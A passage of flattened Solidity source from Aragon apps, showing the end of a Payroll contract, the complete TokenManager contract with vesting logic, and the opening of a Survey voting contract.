ERROR_CAN_NOT_FORWARD); bytes memory input = new bytes(0); // TODO: Consider input for this // Add the Finance app to the blacklist to disallow employees from executing actions on the // Finance app from Payroll's context (since Payroll requires permissions on Finance) address[] memory blacklist = new address[](1); blacklist[0] = address(finance); runScript(_evmScript, input, blacklist); } /** * @dev IForwarder interface conformance. Tells whether a given address can forward actions or not. * @param _sender Address of the account intending to forward an action * @return True if the given address is an active employee, false otherwise */ function canForward(address _sender, bytes) public view returns (bool) { return _isEmployeeIdActive(employeeIds[_sender]); } // Getter fns /** * @dev Return employee's identifier by their account address * @param _accountAddress Employee's address to receive payments * @return Employee's identifier */ function getEmployeeIdByAddress(address _accountAddress) public view returns (uint256) { require(employeeIds[_accountAddress] != uint256(0), ERROR_EMPLOYEE_DOESNT_EXIST); return employeeIds[_accountAddress]; } /** * @dev Return all information for employee by their ID * @param _employeeId Employee's identifier * @return Employee's address to receive payments * @return Employee's salary, per second in denomination token * @return Employee's accrued salary * @return Employee's bonus amount * @return Employee's reimbursements amount * @return Employee's last payment date * @return Employee's termination date (max uint64 if none) * @return Employee's allowed payment tokens */ function getEmployee(uint256 _employeeId) public view employeeIdExists(_employeeId) returns ( address accountAddress, uint256 denominationSalary, uint256 accruedSalary, uint256 bonus, uint256 reimbursements, uint64 lastPayroll, uint64 endDate, address[] allocationTokens ) { Employee storage employee = employees[_employeeId]; accountAddress = employee.accountAddress; denominationSalary = employee.denominationTokenSalary; accruedSalary = employee.accruedSalary; bonus = employee.bonus; reimbursements = employee.reimbursements; lastPayroll = employee.lastPayroll; endDate = employee.endDate; allocationTokens = employee.allocationTokenAddresses; } /** * @dev Get owed salary since last payroll for an employee. It will take into account the accrued salary as well. * The result will be capped to max uint256 to avoid having an overflow. * @return Employee's total owed salary: current owed payroll since the last payroll date, plus the accrued salary. */ function getTotalOwedSalary(uint256 _employeeId) public view employeeIdExists(_employeeId) returns (uint256) { return _getTotalOwedCappedSalary(employees[_employeeId]); } /** * @dev Get an employee's payment allocation for a token * @param _employeeId Employee's identifier * @param _token Token to query the payment allocation for * @return Employee's payment allocation for the token being queried */ function getAllocation(uint256 _employeeId, address _token) public view employeeIdExists(_employeeId) returns (uint256) { return employees[_employeeId].allocationTokens[_token]; } /** * @dev Check if a token is allowed to be used for payments * @param _token Address of the token to be checked * @return True if the given token is allowed, false otherwise */ function isTokenAllowed(address _token) public view isInitialized returns (bool) { return allowedTokens[_token]; } // Internal fns /** * @dev Set the price feed used for exchange rates * @param _feed Address of the new price feed instance */ function _setPriceFeed(IFeed _feed) internal { require(isContract(_feed), ERROR_FEED_NOT_CONTRACT); feed = _feed; emit SetPriceFeed(feed); } /** * @dev Set the exchange rate expiry time in seconds. * Exchange rates older than the given value won't be accepted for payments and will cause * payouts to revert. * @param _time The expiration time in seconds for exchange rates */ function _setRateExpiryTime(uint64 _time) internal { // Require a sane minimum for the rate expiry time require(_time >= MIN_RATE_EXPIRY, ERROR_EXPIRY_TIME_TOO_SHORT); rateExpiryTime = _time; emit SetRateExpiryTime(rateExpiryTime); } /** * @dev Add a new employee to Payroll * @param _accountAddress Employee's address to receive payroll * @param _initialDenominationSalary Employee's salary, per second in denomination token * @param _startDate Employee's starting timestamp in seconds * @param _role Employee's role */ function _addEmployee(address _accountAddress, uint256 _initialDenominationSalary, uint64 _startDate, string _role) internal { uint256 employeeId = nextEmployee++; _setEmployeeAddress(employeeId, _accountAddress); Employee storage employee = employees[employeeId]; employee.denominationTokenSalary = _initialDenominationSalary; employee.lastPayroll = _startDate; employee.endDate = MAX_UINT64; emit AddEmployee(employeeId, _accountAddress, _initialDenominationSalary, _startDate, _role); } /** * @dev Add amount to an employee's bonuses * @param _employeeId Employee's identifier * @param _amount Amount be added to the employee's bonuses in denomination token */ function _addBonus(uint256 _employeeId, uint256 _amount) internal { Employee storage employee = employees[_employeeId]; employee.bonus = employee.bonus.add(_amount); emit AddEmployeeBonus(_employeeId, _amount); } /** * @dev Add amount to an employee's reimbursements * @param _employeeId Employee's identifier * @param _amount Amount be added to the employee's reimbursements in denomination token */ function _addReimbursement(uint256 _employeeId, uint256 _amount) internal { Employee storage employee = employees[_employeeId]; employee.reimbursements = employee.reimbursements.add(_amount); emit AddEmployeeReimbursement(_employeeId, _amount); } /** * @dev Add amount to an employee's accrued salary * @param _employeeId Employee's identifier * @param _amount Amount be added to the employee's accrued salary in denomination token */ function _addAccruedSalary(uint256 _employeeId, uint256 _amount) internal { Employee storage employee = employees[_employeeId]; employee.accruedSalary = employee.accruedSalary.add(_amount); emit AddEmployeeAccruedSalary(_employeeId, _amount); } /** * @dev Set an employee's account address * @param _employeeId Employee's identifier * @param _accountAddress Employee's address to receive payroll */ function _setEmployeeAddress(uint256 _employeeId, address _accountAddress) internal { // Check address is non-null require(_accountAddress != address(0), ERROR_EMPLOYEE_NULL_ADDRESS); // Check address isn't already being used require(employeeIds[_accountAddress] == uint256(0), ERROR_EMPLOYEE_ALREADY_EXIST); employees[_employeeId].accountAddress = _accountAddress; // Create IDs mapping employeeIds[_accountAddress] = _employeeId; } /** * @dev Terminate employee on end date * @param _employeeId Employee's identifier * @param _endDate Termination timestamp in seconds */ function _terminateEmployee(uint256 _employeeId, uint64 _endDate) internal { // Prevent past termination dates require(_endDate >= getTimestamp64(), ERROR_PAST_TERMINATION_DATE); employees[_employeeId].endDate = _endDate; emit TerminateEmployee(_employeeId, _endDate); } /** * @dev Loop over allowed tokens to send requested amount to the employee in their desired allocation * @param _employeeId Employee's identifier * @param _totalAmount Total amount to be transferred to the employee distributed in accordance to the employee's token allocation. * @param _type Payment type being transferred (Payroll, Reimbursement or Bonus) * @param _minRates Array of employee's minimum acceptable rates for their allowed payment tokens * @return True if there was at least one token transfer */ function _transferTokensAmount(uint256 _employeeId, PaymentType _type, uint256 _totalAmount, uint256[] _minRates) internal returns (bool somethingPaid) { if (_totalAmount == 0) { return false; } Employee storage employee = employees[_employeeId]; address employeeAddress = employee.accountAddress; string memory paymentReference = _paymentReferenceFor(_type); address[] storage allocationTokenAddresses = employee.allocationTokenAddresses; for (uint256 i = 0; i < allocationTokenAddresses.length; i++) { address token = allocationTokenAddresses[i]; uint256 tokenAllocation = employee.allocationTokens[token]; if (tokenAllocation != uint256(0)) { // Get the exchange rate for the payout token in denomination token, // as we do accounting in denomination tokens uint256 exchangeRate = _getExchangeRateInDenominationToken(token); require(_minRates.length > 0 ? exchangeRate >= _minRates[i] : exchangeRate > 0, ERROR_EXCHANGE_RATE_TOO_LOW); // Convert amount (in denomination tokens) to payout token and apply allocation uint256 tokenAmount = _totalAmount.mul(exchangeRate).mul(tokenAllocation); // Divide by 100 for the allocation percentage and by the exchange rate precision tokenAmount = tokenAmount.div(100).div(feed.ratePrecision()); // Finance reverts if the payment wasn't possible finance.newImmediatePayment(token, employeeAddress, tokenAmount, paymentReference); emit SendPayment(_employeeId, employeeAddress, token, tokenAmount, exchangeRate, paymentReference); somethingPaid = true; } } } /** * @dev Remove employee if there are no owed funds and employee's end date has been reached * @param _employeeId Employee's identifier */ function _removeEmployeeIfTerminatedAndPaidOut(uint256 _employeeId) internal { Employee storage employee = employees[_employeeId]; if ( employee.lastPayroll == employee.endDate && (employee.accruedSalary == 0 && employee.bonus == 0 && employee.reimbursements == 0) ) { delete employeeIds[employee.accountAddress]; delete employees[_employeeId]; } } /** * @dev Updates the accrued salary and payroll date of an employee based on a payment amount and * their currently owed salary since last payroll date * @param _employee Employee struct in storage * @param _paymentAmount Amount being paid to the employee */ function _updateEmployeeAccountingBasedOnPaidSalary(Employee storage _employee, uint256 _paymentAmount) internal { uint256 accruedSalary = _employee.accruedSalary; if (_paymentAmount <= accruedSalary) { // Employee is only cashing out some previously owed salary so we don't need to update // their last payroll date // No need to use SafeMath as we already know _paymentAmount <= accruedSalary _employee.accruedSalary = accruedSalary - _paymentAmount; return; } // Employee is cashing out some of their currently owed salary so their last payroll date // needs to be modified based on the amount of salary paid uint256 currentSalaryPaid = _paymentAmount; if (accruedSalary > 0) { // Employee is cashing out a mixed amount between previous and current owed salaries; // first use up their accrued salary // No need to use SafeMath here as we already know _paymentAmount > accruedSalary currentSalaryPaid = _paymentAmount - accruedSalary; // We finally need to clear their accrued salary _employee.accruedSalary = 0; } uint256 salary = _employee.denominationTokenSalary; uint256 timeDiff = currentSalaryPaid.div(salary); // If they're being paid an amount that doesn't match perfectly with the adjusted time // (up to a seconds' worth of salary), add the second and put the extra remaining salary // into their accrued salary uint256 extraSalary = currentSalaryPaid % salary; if (extraSalary > 0) { timeDiff = timeDiff.add(1); _employee.accruedSalary = salary - extraSalary; } uint256 lastPayrollDate = uint256(_employee.lastPayroll).add(timeDiff); // Even though this function should never receive a currentSalaryPaid value that would // result in the lastPayrollDate being higher than the current time, // let's double check to be safe require(lastPayrollDate <= uint256(getTimestamp64()), ERROR_LAST_PAYROLL_DATE_TOO_BIG); // Already know lastPayrollDate must fit in uint64 from above _employee.lastPayroll = uint64(lastPayrollDate); } /** * @dev Tell whether an employee is registered in this Payroll or not * @param _employeeId Employee's identifier * @return True if the given employee ID belongs to an registered employee, false otherwise */ function _employeeExists(uint256 _employeeId) internal view returns (bool) { return employees[_employeeId].accountAddress != address(0); } /** * @dev Tell whether an employee has a valid token allocation or not. * A valid allocation is one that sums to 100 and only includes allowed tokens. * @param _employee Employee struct in storage * @return Reverts if employee's allocation is invalid */ function _ensureEmployeeTokenAllocationsIsValid(Employee storage _employee) internal view { uint256 sum = 0; address[] memory allocationTokenAddresses = _employee.allocationTokenAddresses; for (uint256 i = 0; i < allocationTokenAddresses.length; i++) { address token = allocationTokenAddresses[i]; require(allowedTokens[token], ERROR_NOT_ALLOWED_TOKEN); sum = sum.add(_employee.allocationTokens[token]); } require(sum == 100, ERROR_DISTRIBUTION_NOT_FULL); } /** * @dev Tell whether an employee is still active or not * @param _employee Employee struct in storage * @return True if the employee exists and has an end date that has not been reached yet, false otherwise */ function _isEmployeeActive(Employee storage _employee) internal view returns (bool) { return _employee.endDate >= getTimestamp64(); } /** * @dev Tell whether an employee id is still active or not * @param _employeeId Employee's identifier * @return True if the employee exists and has an end date that has not been reached yet, false otherwise */ function _isEmployeeIdActive(uint256 _employeeId) internal view returns (bool) { return _isEmployeeActive(employees[_employeeId]); } /** * @dev Get exchange rate for a token based on the denomination token. * As an example, if the denomination token was USD and ETH's price was 100USD, * this would return 0.01 * precision rate for ETH. * @param _token Token to get price of in denomination tokens * @return Exchange rate (multiplied by the PPF rate precision) */ function _getExchangeRateInDenominationToken(address _token) internal view returns (uint256) { // xrt is the number of `_token` that can be exchanged for one `denominationToken` (uint128 xrt, uint64 when) = feed.get( denominationToken, // Base (e.g. USD) _token // Quote (e.g. ETH) ); // Check the price feed is recent enough if (getTimestamp64().sub(when) >= rateExpiryTime) { return 0; } return uint256(xrt); } /** * @dev Get owed salary since last payroll for an employee * @param _employee Employee struct in storage * @param _capped Safely cap the owed salary at max uint * @return Owed salary in denomination tokens since last payroll for the employee. * If _capped is false, it reverts in case of an overflow. */ function _getOwedSalarySinceLastPayroll(Employee storage _employee, bool _capped) internal view returns (uint256) { uint256 timeDiff = _getOwedPayrollPeriod(_employee); if (timeDiff == 0) { return 0; } uint256 salary = _employee.denominationTokenSalary; if (_capped) { // Return max uint if the result overflows uint256 result = salary * timeDiff; return (result / timeDiff != salary) ? MAX_UINT256 : result; } else { return salary.mul(timeDiff); } } /** * @dev Get owed payroll period for an employee * @param _employee Employee struct in storage * @return Owed time in seconds since the employee's last payroll date */ function _getOwedPayrollPeriod(Employee storage _employee) internal view returns (uint256) { // Get the min of current date and termination date uint64 date = _isEmployeeActive(_employee) ? getTimestamp64() : _employee.endDate; // Make sure we don't revert if we try to get the owed salary for an employee whose last // payroll date is now or in the future // This can happen either by adding new employees with start dates in the future, to allow // us to change their salary before their start date, or by terminating an employee and // paying out their full owed salary if (date <= _employee.lastPayroll) { return 0; } // Return time diff in seconds, no need to use SafeMath as the underflow was covered by the previous check return uint256(date - _employee.lastPayroll); } /** * @dev Get owed salary since last payroll for an employee. It will take into account the accrued salary as well. * The result will be capped to max uint256 to avoid having an overflow. * @param _employee Employee struct in storage * @return Employee's total owed salary: current owed payroll since the last payroll date, plus the accrued salary. */ function _getTotalOwedCappedSalary(Employee storage _employee) internal view returns (uint256) { uint256 currentOwedSalary = _getOwedSalarySinceLastPayroll(_employee, true); // cap amount uint256 totalOwedSalary = currentOwedSalary + _employee.accruedSalary; if (totalOwedSalary < currentOwedSalary) { totalOwedSalary = MAX_UINT256; } return totalOwedSalary; } /** * @dev Get payment reference for a given payment type * @param _type Payment type to query the reference of * @return Payment reference for the given payment type */ function _paymentReferenceFor(PaymentType _type) internal pure returns (string memory) { if (_type == PaymentType.Payroll) { return "Employee salary"; } else if (_type == PaymentType.Reimbursement) { return "Employee reimbursement"; } if (_type == PaymentType.Bonus) { return "Employee bonus"; } revert(ERROR_INVALID_PAYMENT_TYPE); } function _ensurePaymentAmount(uint256 _owedAmount, uint256 _requestedAmount) private pure returns (uint256) { require(_owedAmount > 0, ERROR_NOTHING_PAID); require(_owedAmount >= _requestedAmount, ERROR_INVALID_REQUESTED_AMOUNT); return _requestedAmount > 0 ? _requestedAmount : _owedAmount; } } // File: @aragon/apps-token-manager/contracts/TokenManager.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ /* solium-disable function-order */ pragma solidity 0.4.24; contract TokenManager is ITokenController, IForwarder, AragonApp { using SafeMath for uint256; bytes32 public constant MINT_ROLE = keccak256("MINT_ROLE"); bytes32 public constant ISSUE_ROLE = keccak256("ISSUE_ROLE"); bytes32 public constant ASSIGN_ROLE = keccak256("ASSIGN_ROLE"); bytes32 public constant REVOKE_VESTINGS_ROLE = keccak256("REVOKE_VESTINGS_ROLE"); bytes32 public constant BURN_ROLE = keccak256("BURN_ROLE"); uint256 public constant MAX_VESTINGS_PER_ADDRESS = 50; string private constant ERROR_CALLER_NOT_TOKEN = "TM_CALLER_NOT_TOKEN"; string private constant ERROR_NO_VESTING = "TM_NO_VESTING"; string private constant ERROR_TOKEN_CONTROLLER = "TM_TOKEN_CONTROLLER"; string private constant ERROR_MINT_RECEIVER_IS_TM = "TM_MINT_RECEIVER_IS_TM"; string private constant ERROR_VESTING_TO_TM = "TM_VESTING_TO_TM"; string private constant ERROR_TOO_MANY_VESTINGS = "TM_TOO_MANY_VESTINGS"; string private constant ERROR_WRONG_CLIFF_DATE = "TM_WRONG_CLIFF_DATE"; string private constant ERROR_VESTING_NOT_REVOKABLE = "TM_VESTING_NOT_REVOKABLE"; string private constant ERROR_REVOKE_TRANSFER_FROM_REVERTED = "TM_REVOKE_TRANSFER_FROM_REVERTED"; string private constant ERROR_CAN_NOT_FORWARD = "TM_CAN_NOT_FORWARD"; string private constant ERROR_BALANCE_INCREASE_NOT_ALLOWED = "TM_BALANCE_INC_NOT_ALLOWED"; string private constant ERROR_ASSIGN_TRANSFER_FROM_REVERTED = "TM_ASSIGN_TRANSFER_FROM_REVERTED"; struct TokenVesting { uint256 amount; uint64 start; uint64 cliff; uint64 vesting; bool revokable; } // Note that we COMPLETELY trust this MiniMeToken to not be malicious for proper operation of this contract MiniMeToken public token; uint256 public maxAccountTokens; // We are mimicing an array in the inner mapping, we use a mapping instead to make app upgrade more graceful mapping (address => mapping (uint256 => TokenVesting)) internal vestings; mapping (address => uint256) public vestingsLengths; // Other token specific events can be watched on the token address directly (avoids duplication) event NewVesting(address indexed receiver, uint256 vestingId, uint256 amount); event RevokeVesting(address indexed receiver, uint256 vestingId, uint256 nonVestedAmount); modifier onlyToken() { require(msg.sender == address(token), ERROR_CALLER_NOT_TOKEN); _; } modifier vestingExists(address _holder, uint256 _vestingId) { // TODO: it's not checking for gaps that may appear because of deletes in revokeVesting function require(_vestingId < vestingsLengths[_holder], ERROR_NO_VESTING); _; } /** * @notice Initialize Token Manager for `_token.symbol(): string`, whose tokens are `transferable ? 'not' : ''` transferable`_maxAccountTokens > 0 ? ' and limited to a maximum of ' + @tokenAmount(_token, _maxAccountTokens, false) + ' per account' : ''` * @param _token MiniMeToken address for the managed token (Token Manager instance must be already set as the token controller) * @param _transferable whether the token can be transferred by holders * @param _maxAccountTokens Maximum amount of tokens an account can have (0 for infinite tokens) */ function initialize( MiniMeToken _token, bool _transferable, uint256 _maxAccountTokens ) external onlyInit { initialized(); require(_token.controller() == address(this), ERROR_TOKEN_CONTROLLER); token = _token; maxAccountTokens = _maxAccountTokens == 0 ? uint256(-1) : _maxAccountTokens; if (token.transfersEnabled() != _transferable) { token.enableTransfers(_transferable); } } /** * @notice Mint `@tokenAmount(self.token(): address, _amount, false)` tokens for `_receiver` * @param _receiver The address receiving the tokens, cannot be the Token Manager itself (use `issue()` instead) * @param _amount Number of tokens minted */ function mint(address _receiver, uint256 _amount) external authP(MINT_ROLE, arr(_receiver, _amount)) { require(_receiver != address(this), ERROR_MINT_RECEIVER_IS_TM); _mint(_receiver, _amount); } /** * @notice Mint `@tokenAmount(self.token(): address, _amount, false)` tokens for the Token Manager * @param _amount Number of tokens minted */ function issue(uint256 _amount) external authP(ISSUE_ROLE, arr(_amount)) { _mint(address(this), _amount); } /** * @notice Assign `@tokenAmount(self.token(): address, _amount, false)` tokens to `_receiver` from the Token Manager's holdings * @param _receiver The address receiving the tokens * @param _amount Number of tokens transferred */ function assign(address _receiver, uint256 _amount) external authP(ASSIGN_ROLE, arr(_receiver, _amount)) { _assign(_receiver, _amount); } /** * @notice Burn `@tokenAmount(self.token(): address, _amount, false)` tokens from `_holder` * @param _holder Holder of tokens being burned * @param _amount Number of tokens being burned */ function burn(address _holder, uint256 _amount) external authP(BURN_ROLE, arr(_holder, _amount)) { // minime.destroyTokens() never returns false, only reverts on failure token.destroyTokens(_holder, _amount); } /** * @notice Assign `@tokenAmount(self.token(): address, _amount, false)` tokens to `_receiver` from the Token Manager's holdings with a `_revokable : 'revokable' : ''` vesting starting at `@formatDate(_start)`, cliff at `@formatDate(_cliff)` (first portion of tokens transferable), and completed vesting at `@formatDate(_vested)` (all tokens transferable) * @param _receiver The address receiving the tokens, cannot be Token Manager itself * @param _amount Number of tokens vested * @param _start Date the vesting calculations start * @param _cliff Date when the initial portion of tokens are transferable * @param _vested Date when all tokens are transferable * @param _revokable Whether the vesting can be revoked by the Token Manager */ function assignVested( address _receiver, uint256 _amount, uint64 _start, uint64 _cliff, uint64 _vested, bool _revokable ) external authP(ASSIGN_ROLE, arr(_receiver, _amount)) returns (uint256) { require(_receiver != address(this), ERROR_VESTING_TO_TM); require(vestingsLengths[_receiver] < MAX_VESTINGS_PER_ADDRESS, ERROR_TOO_MANY_VESTINGS); require(_start <= _cliff && _cliff <= _vested, ERROR_WRONG_CLIFF_DATE); uint256 vestingId = vestingsLengths[_receiver]++; vestings[_receiver][vestingId] = TokenVesting( _amount, _start, _cliff, _vested, _revokable ); _assign(_receiver, _amount); emit NewVesting(_receiver, vestingId, _amount); return vestingId; } /** * @notice Revoke vesting #`_vestingId` from `_holder`, returning unvested tokens to the Token Manager * @param _holder Address whose vesting to revoke * @param _vestingId Numeric id of the vesting */ function revokeVesting(address _holder, uint256 _vestingId) external authP(REVOKE_VESTINGS_ROLE, arr(_holder)) vestingExists(_holder, _vestingId) { TokenVesting storage v = vestings[_holder][_vestingId]; require(v.revokable, ERROR_VESTING_NOT_REVOKABLE); uint256 nonVested = _calculateNonVestedTokens( v.amount, getTimestamp(), v.start, v.cliff, v.vesting ); // To make vestingIds immutable over time, we just zero out the revoked vesting // Clearing this out also allows the token transfer back to the Token Manager to succeed delete vestings[_holder][_vestingId]; // transferFrom always works as controller // onTransfer hook always allows if transfering to token controller require(token.transferFrom(_holder, address(this), nonVested), ERROR_REVOKE_TRANSFER_FROM_REVERTED); emit RevokeVesting(_holder, _vestingId, nonVested); } // ITokenController fns // `onTransfer()`, `onApprove()`, and `proxyPayment()` are callbacks from the MiniMe token // contract and are only meant to be called through the managed MiniMe token that gets assigned // during initialization. /* * @dev Notifies the controller about a token transfer allowing the controller to decide whether * to allow it or react if desired (only callable from the token). * Initialization check is implicitly provided by `onlyToken()`. * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint256 _amount) external onlyToken returns (bool) { return _isBalanceIncreaseAllowed(_to, _amount) && _transferableBalance(_from, getTimestamp()) >= _amount; } /** * @dev Notifies the controller about an approval allowing the controller to react if desired * Initialization check is implicitly provided by `onlyToken()`. * @return False if the controller does not authorize the approval */ function onApprove(address, address, uint) external onlyToken returns (bool) { return true; } /** * @dev Called when ether is sent to the MiniMe Token contract * Initialization check is implicitly provided by `onlyToken()`. * @return True if the ether is accepted, false for it to throw */ function proxyPayment(address) external payable onlyToken returns (bool) { return false; } // Forwarding fns function isForwarder() external pure returns (bool) { return true; } /** * @notice Execute desired action as a token holder * @dev IForwarder interface conformance. Forwards any token holder action. * @param _evmScript Script being executed */ function forward(bytes _evmScript) public { require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD); bytes memory input = new bytes(0); // TODO: Consider input for this // Add the managed token to the blacklist to disallow a token holder from executing actions // on the token controller's (this contract) behalf address[] memory blacklist = new address[](1); blacklist[0] = address(token); runScript(_evmScript, input, blacklist); } function canForward(address _sender, bytes) public view returns (bool) { return hasInitialized() && token.balanceOf(_sender) > 0; } // Getter fns function getVesting( address _recipient, uint256 _vestingId ) public view vestingExists(_recipient, _vestingId) returns ( uint256 amount, uint64 start, uint64 cliff, uint64 vesting, bool revokable ) { TokenVesting storage tokenVesting = vestings[_recipient][_vestingId]; amount = tokenVesting.amount; start = tokenVesting.start; cliff = tokenVesting.cliff; vesting = tokenVesting.vesting; revokable = tokenVesting.revokable; } function spendableBalanceOf(address _holder) public view isInitialized returns (uint256) { return _transferableBalance(_holder, getTimestamp()); } function transferableBalance(address _holder, uint256 _time) public view isInitialized returns (uint256) { return _transferableBalance(_holder, _time); } /** * @dev Disable recovery escape hatch for own token, * as the it has the concept of issuing tokens without assigning them */ function allowRecoverability(address _token) public view returns (bool) { return _token != address(token); } // Internal fns function _assign(address _receiver, uint256 _amount) internal { require(_isBalanceIncreaseAllowed(_receiver, _amount), ERROR_BALANCE_INCREASE_NOT_ALLOWED); // Must use transferFrom() as transfer() does not give the token controller full control require(token.transferFrom(address(this), _receiver, _amount), ERROR_ASSIGN_TRANSFER_FROM_REVERTED); } function _mint(address _receiver, uint256 _amount) internal { require(_isBalanceIncreaseAllowed(_receiver, _amount), ERROR_BALANCE_INCREASE_NOT_ALLOWED); token.generateTokens(_receiver, _amount); // minime.generateTokens() never returns false } function _isBalanceIncreaseAllowed(address _receiver, uint256 _inc) internal view returns (bool) { // Max balance doesn't apply to the token manager itself if (_receiver == address(this)) { return true; } return token.balanceOf(_receiver).add(_inc) <= maxAccountTokens; } /** * @dev Calculate amount of non-vested tokens at a specifc time * @param tokens The total amount of tokens vested * @param time The time at which to check * @param start The date vesting started * @param cliff The cliff period * @param vested The fully vested date * @return The amount of non-vested tokens of a specific grant * transferableTokens * | _/-------- vestedTokens rect * | _/ * | _/ * | _/ * | _/ * | / * | .| * | . | * | . | * | . | * | . | * | . | * +===+===========+---------+----------> time * Start Cliff Vested */ function _calculateNonVestedTokens( uint256 tokens, uint256 time, uint256 start, uint256 cliff, uint256 vested ) private pure returns (uint256) { // Shortcuts for before cliff and after vested cases. if (time >= vested) { return 0; } if (time < cliff) { return tokens; } // Interpolate all vested tokens. // As before cliff the shortcut returns 0, we can just calculate a value // in the vesting rect (as shown in above's figure) // vestedTokens = tokens * (time - start) / (vested - start) // In assignVesting we enforce start <= cliff <= vested // Here we shortcut time >= vested and time < cliff, // so no division by 0 is possible uint256 vestedTokens = tokens.mul(time.sub(start)) / vested.sub(start); // tokens - vestedTokens return tokens.sub(vestedTokens); } function _transferableBalance(address _holder, uint256 _time) internal view returns (uint256) { uint256 transferable = token.balanceOf(_holder); // This check is not strictly necessary for the current version of this contract, as // Token Managers now cannot assign vestings to themselves. // However, this was a possibility in the past, so in case there were vestings assigned to // themselves, this will still return the correct value (entire balance, as the Token // Manager does not have a spending limit on its own balance). if (_holder != address(this)) { uint256 vestingsCount = vestingsLengths[_holder]; for (uint256 i = 0; i < vestingsCount; i++) { TokenVesting storage v = vestings[_holder][i]; uint256 nonTransferable = _calculateNonVestedTokens( v.amount, _time, v.start, v.cliff, v.vesting ); transferable = transferable.sub(nonTransferable); } } return transferable; } } // File: @aragon/apps-survey/contracts/Survey.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ pragma solidity 0.4.24; contract Survey is AragonApp { using SafeMath for uint256; using SafeMath64 for uint64; bytes32 public constant CREATE_SURVEYS_ROLE = keccak256("CREATE_SURVEYS_ROLE"); bytes32 public constant MODIFY_PARTICIPATION_ROLE = keccak256("MODIFY_PARTICIPATION_ROLE"); uint64 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10^16; 100% = 10^18 uint256 public constant ABSTAIN_VOTE = 0; string private constant ERROR_MIN_PARTICIPATION = "SURVEY_MIN_PARTICIPATION"; string private constant ERROR_NO_SURVEY = "SURVEY_NO_SURVEY"; string private constant ERROR_NO_VOTING_POWER = "SURVEY_NO_VOTING_POWER"; string private constant ERROR_CAN_NOT_VOTE = "SURVEY_CAN_NOT_VOTE"; string private constant ERROR_VOTE_WRONG_INPUT = "SURVEY_VOTE_WRONG_INPUT"; string private constant ERROR_VOTE_WRONG_OPTION = "SURVEY_VOTE_WRONG_OPTION"; string private constant ERROR_NO_STAKE = "SURVEY_NO_STAKE"; string private constant ERROR_OPTIONS_NOT_ORDERED = "SURVEY_OPTIONS_NOT_ORDERED"; string private constant ERROR_NO_OPTION = "SURVEY_NO_OPTION"; struct OptionCast { uint256 optionId; uint256 stake; } /* Allows for multiple option votes. * Index 0 is always used for the ABSTAIN_VOTE option, that's calculated automatically by the * contract. */ struct MultiOptionVote { uint256 optionsCastedLength; // `castedVotes` simulates an array // Each OptionCast in `castedVotes` must be ordered by ascending option IDs mapping (uint256 => OptionCast) castedVotes; } struct SurveyStruct { uint64 startDate; uint64 snapshotBlock; uint64 minParticipationPct; uint256 options; uint256 votingPower; // total tokens that can cast a vote uint256 participation; // tokens that casted a vote // Note that option IDs are from 1 to `options`, due to ABSTAIN_VOTE taking 0 mapping (uint256 => uint256) optionPower; // option ID -> voting power for option mapping (address => MultiOptionVote) votes; // voter -> options voted, with its stakes } MiniMeToken public token; uint64 public minParticipationPct; uint64 public surveyTime; // We are mimicing an array, we use a mapping instead to make app upgrade more graceful mapping (uint256 => SurveyStruct) internal surveys; uint256 public surveysLength; event StartSurvey(uint256 indexed surveyId, address indexed creator, string metadata); event CastVote(uint256 indexed surveyId, address indexed voter, uint256 option, uint256 stake, uint256 optionPower); event ResetVote(uint256 indexed surveyId, address indexed voter, uint256 option, uint256 previousStake, uint256 optionPower); event ChangeMinParticipation(uint64 minParticipationPct); modifier acceptableMinParticipationPct(uint64 _minParticipationPct) { require(_minParticipationPct > 0 && _minParticipationPct <= PCT_BASE, ERROR_MIN_PARTICIPATION); _; } modifier surveyExists(uint256 _surveyId) { require(_surveyId < surveysLength, ERROR_NO_SURVEY); _; } /** * @notice Initialize Survey app with `_token.symbol(): string` for governance, minimum acceptance participation of `@formatPct(_minParticipationPct)`%, and a voting duration of `@transformTime(_surveyTime)` * @param _token MiniMeToken address that will be used as governance token * @param _minParticipationPct Percentage of total voting power that must participate in a survey for it to be taken into account (expressed as a 10^18 percentage, (eg 10^16 = 1%, 10^18 = 100%) * @param _surveyTime Seconds that a survey will be open for token holders to vote */ function initialize( MiniMeToken _token, uint64 _minParticipationPct, uint64 _surveyTime ) external onlyInit acceptableMinParticipationPct(_minParticipationPct) { initialized(); token = _token; minParticipationPct = _minParticipationPct; surveyTime = _surveyTime; } /** * @notice Change minimum acceptance participation to `@formatPct(_minParticipationPct)`% * @param _minParticipationPct New acceptance participation */ function changeMinAcceptParticipationPct(uint64 _minParticipationPct) external authP(MODIFY_PARTICIPATION_ROLE, arr(uint256(_minParticipationPct), uint256(minParticipationPct))) acceptableMinParticipationPct(_minParticipationPct) { minParticipationPct = _minParticipationPct; emit ChangeMinParticipation(_minParticipationPct); } /** * @notice Create a new non-binding survey about "`_metadata`" * @param _metadata Survey metadata * @param _options Number of options voters can decide between * @return surveyId id for newly created survey */ function newSurvey(string _metadata, uint256 _options) external auth(CREATE_SURVEYS_ROLE) returns (uint256 surveyId) { uint64 snapshotBlock = getBlockNumber64() - 1; // avoid double voting in this very block uint256 votingPower = token.totalSupplyAt(snapshotBlock); require(votingPower > 0, ERROR_NO_VOTING_POWER); surveyId = surveysLength++; SurveyStruct storage survey = surveys[surveyId]; survey.startDate = getTimestamp64(); survey.snapshotBlock = snapshotBlock; // avoid double voting in this very block survey.minParticipationPct = minParticipationPct; survey.options = _options; survey.votingPower = votingPower; emit StartSurvey(surveyId, msg.sender, _metadata); } /** * @notice Reset previously casted vote in survey #`_surveyId`, if any. * @dev Initialization check is implicitly provided by `surveyExists()` as new surveys can only * be created via `newSurvey(),` which requires initialization * @param _surveyId Id for survey */ function resetVote(uint256 _surveyId) external surveyExists(_surveyId) { require(canVote(_surveyId, msg.sender), ERROR_CAN_NOT_VOTE); _resetVote(_surveyId); } /** * @notice Vote for multiple options in survey #`_surveyId`. * @dev Initialization check is implicitly provided by `surveyExists()` as new surveys can only * be created via `newSurvey(),` which requires initialization * @param _surveyId Id for survey * @param _optionIds Array with indexes of supported options * @param _stakes Number of tokens assigned to each option */ function voteOptions(uint256 _surveyId, uint256[] _optionIds, uint256[] _stakes) external surveyExists(_surveyId) { require(_optionIds.length == _stakes.length && _optionIds.length > 0, 